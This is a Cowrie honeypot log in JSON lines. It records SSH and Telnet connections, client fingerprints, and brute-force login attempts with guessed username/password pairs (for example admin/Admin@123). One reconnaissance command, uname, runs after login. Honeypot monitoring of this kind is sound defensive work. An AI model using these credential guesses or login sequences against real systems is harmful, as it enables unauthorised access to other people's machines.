{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58630,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2290950f583","protocol":"ssh","message":"New connection: 45.153.34.112:58630 (10.17.0.5:22) [session: c2290950f583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:38.854152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:38.859020Z","src_ip":"45.153.34.112","session":"c2290950f583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:38.941804Z","src_ip":"45.153.34.112","session":"c2290950f583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:39.190711Z","src_ip":"45.153.34.112","session":"c2290950f583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43786,"dst_ip":"10.17.0.5","dst_port":23,"session":"0599d9f38e56","protocol":"telnet","message":"New connection: 192.119.13.58:43786 (10.17.0.5:23) [session: 0599d9f38e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:39.669595Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41500,"dst_ip":"10.17.0.5","dst_port":23,"session":"bda2fe5c9b18","protocol":"telnet","message":"New connection: 192.119.13.58:41500 (10.17.0.5:23) [session: bda2fe5c9b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:40.211464Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:40.275955Z","src_ip":"45.153.34.112","session":"c2290950f583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38558,"dst_ip":"10.17.0.5","dst_port":22,"session":"523a54bb95c5","protocol":"ssh","message":"New connection: 45.153.34.112:38558 (10.17.0.5:22) [session: 523a54bb95c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:42.489081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:42.498625Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:42.584053Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:42.839387Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:43.067250Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:43.070995Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:43.159196Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:43.164564Z","src_ip":"45.153.34.112","session":"523a54bb95c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":40894,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd3288cd596a","protocol":"ssh","message":"New connection: 43.153.112.253:40894 (10.17.0.5:22) [session: dd3288cd596a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:45.235955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:45.241546Z","src_ip":"43.153.112.253","session":"dd3288cd596a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:45.310729Z","src_ip":"43.153.112.253","session":"dd3288cd596a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40790,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8a2e50f97f","protocol":"telnet","message":"New connection: 192.119.13.58:40790 (10.17.0.5:23) [session: 9a8a2e50f97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:45.591607Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nizar","message":"login attempt [root/nizar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:45.614529Z","src_ip":"43.153.112.253","session":"dd3288cd596a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38570,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed20cdbadd7","protocol":"ssh","message":"New connection: 45.153.34.112:38570 (10.17.0.5:22) [session: eed20cdbadd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.276826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.283007Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.371047Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.618637Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.691073Z","src_ip":"43.153.112.253","session":"dd3288cd596a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.832524Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.836283Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.923560Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:46.929653Z","src_ip":"45.153.34.112","session":"eed20cdbadd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.68036365509033,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:49.657697Z","src_ip":"192.119.13.58","session":"2aab7ce878a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40536,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfc1621ec544","protocol":"ssh","message":"New connection: 45.153.34.112:40536 (10.17.0.5:22) [session: dfc1621ec544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:49.853737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:49.859022Z","src_ip":"45.153.34.112","session":"dfc1621ec544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:49.941716Z","src_ip":"45.153.34.112","session":"dfc1621ec544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:50.186718Z","src_ip":"45.153.34.112","session":"dfc1621ec544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.51317858695984,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:51.114773Z","src_ip":"192.119.13.58","session":"d946dd0f16fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:51.272185Z","src_ip":"45.153.34.112","session":"dfc1621ec544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39104,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96e453e5b6c","protocol":"telnet","message":"New connection: 192.119.13.58:39104 (10.17.0.5:23) [session: a96e453e5b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:51.774592Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"84e7f83a5a19","protocol":"telnet","message":"New connection: 192.119.13.58:43212 (10.17.0.5:23) [session: 84e7f83a5a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:52.663363Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40548,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d495dbca9e","protocol":"ssh","message":"New connection: 45.153.34.112:40548 (10.17.0.5:22) [session: 53d495dbca9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:53.649249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:53.655199Z","src_ip":"45.153.34.112","session":"53d495dbca9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:53.737557Z","src_ip":"45.153.34.112","session":"53d495dbca9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:53.985805Z","src_ip":"45.153.34.112","session":"53d495dbca9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":60914,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f92cb94e637","protocol":"ssh","message":"New connection: 106.251.244.178:60914 (10.17.0.5:22) [session: 3f92cb94e637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:53.998132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:54.003396Z","src_ip":"106.251.244.178","session":"3f92cb94e637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:54.202831Z","src_ip":"106.251.244.178","session":"3f92cb94e637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55w0rd","message":"login attempt [root/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:55.034072Z","src_ip":"106.251.244.178","session":"3f92cb94e637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:55.070813Z","src_ip":"45.153.34.112","session":"53d495dbca9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:56.237819Z","src_ip":"106.251.244.178","session":"3f92cb94e637","protocol":"ssh"}
